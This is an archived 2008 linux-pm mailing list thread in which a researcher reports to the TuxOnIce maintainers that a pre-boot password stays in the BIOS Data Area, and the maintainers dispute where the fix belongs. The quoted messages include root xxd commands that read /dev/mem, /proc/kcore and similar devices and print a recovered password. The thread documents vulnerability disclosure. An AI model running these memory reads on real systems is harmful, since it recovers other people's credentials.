0 bytes --] ^ permalink raw reply [flat|nested] 11+ messages in thread
[parent not found: <1217234068.8430.108.camel@nigel-laptop>]
[parent not found: <488D86BB.1050500@iviztechnosolutions.com>]
* Re: Vulnerability in Software Suspend 2 (all versions) [not found] ` <488D86BB.1050500@iviztechnosolutions.com> @ 2008-07-28 8:52 ` Nigel Cunningham 2008-07-28 8:56 ` Jonathan Brossard 0 siblings, 1 reply; 11+ messages in thread From: Nigel Cunningham @ 2008-07-28 8:52 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, chabaud, bernardb, seasons, techteam, mhfl, linux-pm, Jonathan Brossard Hi. On Mon, 2008-07-28 at 14:13 +0530, Jonathan Brossard wrote: > Hi Nigel, > > Sorry for assuming (wrongly) that ppl in Switzerland all speak French ;) Why do you think I'm in Switzerland? I'm actually a New Zealander, living in Australia. > In a nutshell, I discovered a new class of vulnerabilities that I will fully > disclose at the Defcon security conference in August. It happens to > affect your software, which I would like to help you fix before I go > public. (Note : I have used your patch for quite a time, thanks for > the good job ;) > > The problem lies in a lack of sanitazation of the Bios Data Area > after reading the password using BIOS interruptions (you don't > have much choice at that early stage regarding the API anyway). > Once the password is read, it remains in RAM for ever, and can > be retreived by a (somehow) privileged user : > > root@blackbox:~# xxd -l 32 -s 0x041e /dev/mem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /proc/kcore > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /dev/core > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# > > > The patch was made against the latest vanilla kernel and checked > under gentoo 2006 and Ubuntu Gutsy. It *should* work even if you > don't have a standard 3Go/1Go user/kernel split. It simply sanitizes > the RAM areas in question. > > Like I mentioned previously, I would appreciate credits. If you chose > to credit us for our work, you can quote : > Jonathan Brossard, endrazine@gmail.com, jonathan@ivizindia.com > > > Feel free to contact me if you have any additional questions or feedback :) Okay. As mentioned in the previous reply, I don't think this is a bug with TuxOnIce itself. If a BIOS data area needs clearing during resume, I would suggest that something like the ACPI device driver should be doing that, because if the memory needs clearing, it should need clearing irrespective of whether you've hibernated or not. Regards, Nigel ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:52 ` Nigel Cunningham @ 2008-07-28 8:56 ` Jonathan Brossard 2008-07-28 9:40 ` Nigel Cunningham 0 siblings, 1 reply; 11+ messages in thread From: Jonathan Brossard @ 2008-07-28 8:56 UTC (permalink / raw) To: Nigel Cunningham Cc: ncunningham, chabaud, bernardb, seasons, techteam, cer >> "CERT(R) Coordination Center", mhfl, linux-pm, Jonathan Brossard Dear Nigel, >Why do you think I'm in Switzerland? I'm actually a New Zealander, >living in Australia. Nothing against aussies, the project was once uppon a time austed at the federal school of Lausane, which afaik is in Switzerland... >Okay. As mentioned in the previous reply, I don't think this is a bug >with TuxOnIce itself. If a BIOS data area needs clearing during resume, >I would suggest that something like the ACPI device driver should be >doing that, because if the memory needs clearing, it should need >clearing irrespective of whether you've hibernated or not. Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. Now, if you don't want to face the truth that you have a problem (why dont you just test the exploit ?) because you don't know how to use the BIOS API safely, that's fine : don't fix it, I don't really care. Between : Can I quote you at my Defcon presentation ? Regards, Jonathan- Nigel Cunningham wrote: > Hi. > > On Mon, 2008-07-28 at 14:13 +0530, Jonathan Brossard wrote: > >> Hi Nigel, >> >> Sorry for assuming (wrongly) that ppl in Switzerland all speak French ;) >> > > Why do you think I'm in Switzerland? I'm actually a New Zealander, > living in Australia. > > >> In a nutshell, I discovered a new class of vulnerabilities that I will fully >> disclose at the Defcon security conference in August. It happens to >> affect your software, which I would like to help you fix before I go >> public. (Note : I have used your patch for quite a time, thanks for >> the good job ;) >> >> The problem lies in a lack of sanitazation of the Bios Data Area >> after reading the password using BIOS interruptions (you don't >> have much choice at that early stage regarding the API anyway). >> Once the password is read, it remains in RAM for ever, and can >> be retreived by a (somehow) privileged user : >> >> root@blackbox:~# xxd -l 32 -s 0x041e /dev/mem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /proc/kcore >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /dev/core >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# >> >> >> The patch was made against the latest vanilla kernel and checked >> under gentoo 2006 and Ubuntu Gutsy. It *should* work even if you >> don't have a standard 3Go/1Go user/kernel split. It simply sanitizes >> the RAM areas in question. >> >> Like I mentioned previously, I would appreciate credits. If you chose >> to credit us for our work, you can quote : >> Jonathan Brossard, endrazine@gmail.com, jonathan@ivizindia.com >> >> >> Feel free to contact me if you have any additional questions or feedback :) >> > > Okay. As mentioned in the previous reply, I don't think this is a bug > with TuxOnIce itself. If a BIOS data area needs clearing during resume, > I would suggest that something like the ACPI device driver should be > doing that, because if the memory needs clearing, it should need > clearing irrespective of whether you've hibernated or not. > > Regards, > > Nigel > > > -- Jonathan Brossard Security Research Engineer iViZ Techno Solutions Pvt. Ltd. Mobile: +91-9748772994 Kolkata: iViZ Technolgy Solutions(P) Ltd c/o Erevmax Technologies (P) Ltd DLF IT Park, Tower-1, 12th Floor 08 Major Arterial Road New Town, Rajarhat Kolkata- 700 156 Kharagpur: iViZ Techno Solutions Pvt Ltd, School of Information Technology, Indian Institute of Technology, 2nd Floor, Takshashila, Kharagpur 721302 West Bengal, India. Phone: +91-3222-282300 ext 4324 Web page: http://www.ivizindia.com ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:56 ` Jonathan Brossard @ 2008-07-28 9:40 ` Nigel Cunningham 2008-07-28 22:46 ` Rafael J. Wysocki 0 siblings, 1 reply; 11+ messages in thread From: Nigel Cunningham @ 2008-07-28 9:40 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, chabaud, bernardb, seasons, techteam, cer >> "CERT(R) Coordination Center", mhfl, linux-pm, Jonathan Brossard Hi. On Mon, 2008-07-28 at 14:26 +0530, Jonathan Brossard wrote: > Dear Nigel, > > >Why do you think I'm in Switzerland? I'm actually a New Zealander, > > >living in Australia. > > Nothing against aussies, the project was once uppon a time austed at the federal school > of Lausane, which afaik is in Switzerland... Ah, okay. Now I'm with you. Yeah, the original author was Gabor Kuti. After Gabor, Florent took over and then I took over from Florent. Gabor and Florent have contributed for about 5 years, as far as I recall. > >Okay. As mentioned in the previous reply, I don't think this is a bug > >with TuxOnIce itself. If a BIOS data area needs clearing during resume, > >I would suggest that something like the ACPI device driver should be > >doing that, because if the memory needs clearing, it should need > >clearing irrespective of whether you've hibernated or not. > > Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. > Now, if you don't want to face the truth that you have a problem (why dont > you just test the exploit ?) because you don't know how to use the BIOS API > safely, that's fine : don't fix it, I don't really care. I understand what you're saying, but I disagree with your diagnosis as to where the problem lies. If you're talking about a password for encrypted swap not being cleared (you haven't said what password you're talking about yet), then the problem is with the program that's asking you for the password, or the program that's using it (dmsetup?). The TuxOnIce kernel patch doesn't ask for passwords or know anything about where in memory passwords might be stored. I'm a little confused by the fact that you're mentioning BIOS data and TuxOnIce asking for a password. Are you talking about some buffer from the BIOS that keypresses are stored in prior to being consumed by the kernel's input driver (oh yeah, the kernel _is_ running when TuxOnIce starts). If that's the case, your bug should perhaps be filed against the input driver. > Between : Can I quote you at my Defcon presentation ? Can we leave that question until we've sorted out what we're talking about? I'm not at all unwilling to deal with a problem, but right now I'm still trying to get clear in my head what the issue is. Regards, Nigel ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 9:40 ` Nigel Cunningham @ 2008-07-28 22:46 ` Rafael J. Wysocki 0 siblings, 0 replies; 11+ messages in thread From: Rafael J. Wysocki @ 2008-07-28 22:46 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, Nigel Cunningham, mhfl, bernardb, seasons, techteam, cer >> "CERT(R) Coordination Center", chabaud, linux-pm, Jonathan Brossard On Monday, 28 of July 2008, Nigel Cunningham wrote: > Hi. > > On Mon, 2008-07-28 at 14:26 +0530, Jonathan Brossard wrote: > > Dear Nigel, > > > > >Why do you think I'm in Switzerland? I'm actually a New Zealander, > > > > >living in Australia. > > > > Nothing against aussies, the project was once uppon a time austed at the federal school > > of Lausane, which afaik is in Switzerland... > > Ah, okay. Now I'm with you. Yeah, the original author was Gabor Kuti. > After Gabor, Florent took over and then I took over from Florent. Gabor > and Florent have contributed for about 5 years, as far as I recall. > > > >Okay. As mentioned in the previous reply, I don't think this is a bug > > >with TuxOnIce itself. If a BIOS data area needs clearing during resume, > > >I would suggest that something like the ACPI device driver should be > > >doing that, because if the memory needs clearing, it should need > > >clearing irrespective of whether you've hibernated or not. > > > > Ok. I gave you the exploit. I gave you the explaination. I gave you the fix. > > Now, if you don't want to face the truth that you have a problem (why dont > > you just test the exploit ?) because you don't know how to use the BIOS API > > safely, that's fine : don't fix it, I don't really care. > > I understand what you're saying, but I disagree with your diagnosis as > to where the problem lies. If you're talking about a password for > encrypted swap not being cleared (you haven't said what password you're > talking about yet), then the problem is with the program that's asking > you for the password, or the program that's using it (dmsetup?). The > TuxOnIce kernel patch doesn't ask for passwords or know anything about > where in memory passwords might be stored. > > I'm a little confused by the fact that you're mentioning BIOS data and > TuxOnIce asking for a password. Are you talking about some buffer from > the BIOS that keypresses are stored in prior to being consumed by the > kernel's input driver (oh yeah, the kernel _is_ running when TuxOnIce > starts). If that's the case, your bug should perhaps be filed against > the input driver. > > > Between : Can I quote you at my Defcon presentation ? > > Can we leave that question until we've sorted out what we're talking > about? I'm not at all unwilling to deal with a problem, but right now > I'm still trying to get clear in my head what the issue is. Yeah. Jonathan, could you please describe _exactly_ what the problem is, what systems are affected (all of them, a subclass and if so, then which one), what the way to exploit the vulnerability is and why you think that the kernel should be responsible for preventing the attack from happening? If you don't want to disclose the details publically, please send them to me and Nigel in private. Thanks, Rafael ^ permalink raw reply [flat|nested] 11+ messages in thread
end of thread, other threads:[~2008-08-18 7:01 UTC | newest]
Thread overview: 11+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
[not found] <488D821D.5060603@iviztechnosolutions.com>
[not found] ` <488D8449.2010006@iviztechnosolutions.com>
2008-07-28 8:48 ` Vulnerability in Software Suspend 2 (all versions) Nigel Cunningham
2008-07-28 8:50 ` Jonathan Brossard
2008-07-28 8:58 ` Nigel Cunningham
2008-07-28 8:59 ` Jonathan Brossard
2008-08-09 13:49 ` florent.chabaud
2008-08-09 23:53 ` Jonathan Brossard
2008-08-18 7:01 ` Jonathan Brossard
[not found] ` <1217234068.8430.108.camel@nigel-laptop>
[not found] ` <488D86BB.1050500@iviztechnosolutions.com>
2008-07-28 8:52 ` Nigel Cunningham
2008-07-28 8:56 ` Jonathan Brossard
2008-07-28 9:40 ` Nigel Cunningham
2008-07-28 22:46 ` Rafael J. Wysocki
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox